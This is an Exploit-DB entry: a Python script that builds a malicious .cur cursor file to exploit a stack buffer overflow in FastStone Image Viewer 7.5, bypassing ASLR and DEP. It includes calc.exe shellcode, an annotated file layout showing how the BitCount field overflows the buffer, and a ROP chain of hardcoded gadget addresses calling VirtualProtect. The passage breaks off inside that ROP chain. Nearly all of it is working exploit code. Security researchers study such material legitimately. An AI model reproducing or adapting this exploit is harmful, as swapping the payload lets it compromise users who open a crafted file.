Exploit-DB #49660
Description: FastStone Image Viewer 7.5 - .cur BITMAPINFOHEADER 'BitCount' Stack Based Buffer Overflow (ASLR & DEP Bypass)
Type: local
Platform: windows
Date: 2021-03-17
Author: Paolo Stagno

Exploit:
# Exploit title: FastStone Image Viewer 7.5 - .cur BITMAPINFOHEADER 'BitCount' Stack Based Buffer Overflow (ASLR & DEP Bypass)
# Exploit Author: Paolo Stagno
# Date: 15/03/2020
# Vendor Homepage: https://www.faststone.org/
# Download: https://www.faststonesoft.net/DN/FSViewerSetup75.exe
#                    https://github.com/VoidSec/Exploit-Development/tree/master/windows/x86/local/FastStone_Image_Viewer_v.7.5/
# Version: 7.5
# Tested on: Windows 10 Pro x64 v.1909 Build 18363.1256
# Category: local exploit
# Platform: windows

# Module info :
#----------------------------------------------------------------------------------------------------------------------
#Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
#----------------------------------------------------------------------------------------------------------------------
#0x00400000 | 0x00abf000 | 0x006bf000 | False  | False   | False |  False   | False  | 7.5.0.0 [FSViewer.exe] (C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe)
#0x6ad80000 | 0x6adfe000 | 0x0007e000 | False  | False   | False |  False   | False  | -1.0- [fsplugin05.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll)
#0x6afb0000 | 0x6b011000 | 0x00061000 | True   | True    | False |  False   | False  | -1.0- [fsplugin06.dll] (C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll)
#----------------------------------------------------------------------------------------------------------------------

#!/usr/bin/python
import struct, sys
print("\n[>] FastStone Image Viewer v. <= 7.5 Exploit by VoidSec\n")

filename="FSViewer_v.7.5_exploit.cur"

###################################################################################
# Shellcode
# MAX Shellcode size: 556
# ImageData - ROP NOP - Rop Chain - Stack Adjustment = 776 - 144 - 68 - 8 = 556
# Custom calc.exe shellcode
# size: 112
###################################################################################

shellcode=(
    "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
    "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
    "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
    "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
    "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
    "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
    "\x45\x81\x3e\x43\x72\x65\x61\x75"
    "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
    "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
    "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
    "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
    "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
    "\x6c\x63\x89\xe2\x52\x52\x53\x53"
    "\x53\x53\x53\x53\x52\x53\xff\xd7"
)


if (len(shellcode)>556):
    sys.exit("Shellcode's size must be <= 556 bytes")

###################################################################################
# Cur File Format
# ---------------------------------------------------------------------------------
# | Reserved | Type  | Image Count |
# | 00 00    | 02 00 | 02 00       | <- CUR file will contains two images
# Entries:
# | Width | Height | ColorCount | Reserved | XHotSpot | YHotSpot | SizeInBytes | File Offset |
# | 30    | 30     | 00         | 00       | 01 00    | 02 00    | 30 03 00 00 | 26 00 00 00 | <- we'll corrupt the first image with rop chain & shellcode 
# | 20    | 20     | 00         | 00       | 02 00    | 04 00    | E8 02 00 00 | 56 03 00 00 | <- while leaving the 2nd one "untouched" a part from the stack pivot (should leave the cursor preview intact)
# 1st Image Info Header:
# | Size        | Width       | Height      | Planes | BitCount | Compression | ImageSize   | XpixelsPerM | YpixelsPerM | Colors Used | ColorsImportant |
# | 28 00 00 00 | 30 00 00 00 | 60 00 00 00 | 01 00  | 89 30    | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00 | 00 00 00 00     |
# 1st ImageData(BLOB)
# 2nd Image Info Header:
# 2nd ImageData(BLOB)
# ---------------------------------------------------------------------------------
# BitCount will be used to read # number of bytes into a buffer triggering the buffer overflow
# its value can be modified but we need to account for two operations happening into the software.
# - SHL 1, 89 = 0x200
# - SHL 200, 2 = 0x800 (2048d) number of bytes to be read from the file
# we'll have to pad the image data to match it's size in bytes defined in the header SizeInBytes
# ImageData = SizeInBytes - ImageInfoHeader Size (330h-28h=308h 776d)
###################################################################################

image_data_pad = 776

def create_rop_nop():
    rop_gadgets = [
        0x6adc5ab6, # 0x6adc5ab6 (RVA : 0x00045ab6) : # DEC ECX # RETN    ** [fsplugin05.dll] **   |   {PAGE_EXECUTE_READ}
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
def create_rop_chain():
    rop_gadgets = [
        #[---INFO:gadgets_to_set_esi:---]
        0x00405bd4,  # POP EAX ; RETN [FSViewer.exe] 
        0x6adf4160,  # ptr to &VirtualProtect() [IAT fsplugin05.dll]
        0x008b3977,  # MOV EAX,DWORD PTR DS:[EAX] ; RETN [FSViewer.exe] 
        0x0083f67a,  # XCHG EAX,ESI ; RETN [FSViewer.exe] 
        #[---INFO:gadgets_to_set_ebp:---]
        0x005b35b8,  # POP EBP ; RETN [FSViewer.exe] 
        0x00454521,  # & jmp esp [FSViewer.exe]
        #[---INFO:gadgets_to_set_ebx:---]
        0x00630472,  # POP EBX ; RETN [FSViewer.exe] 
        0x00000201,  # 0x00000201-> ebx
        #[---INFO:gadgets_to_set_edx:---]
        0x004798db,  # POP EDX ; RETN [FSViewer.exe] 
        0x00000040,  # 0x00000040-> edx
        #[---INFO:gadgets_to_set_ecx:---]
        0x004c7832,  # POP ECX ; RETN [FSViewer.exe] 
        0x00991445,  # &Writable location [FSViewer.exe]
        #[---INFO:gadgets_to_set_edi:---]
        0x0040c3a8,  # POP EDI ; RETN [FSViewer.exe] 
        0x0057660b,  # RETN (ROP NOP) [FSViewer.exe]
        #[---INFO:gadgets_to_set_eax:---]
        0x00404243,  # POP EAX ; RETN [FSViewer.exe] 
        0x90909090,  # nop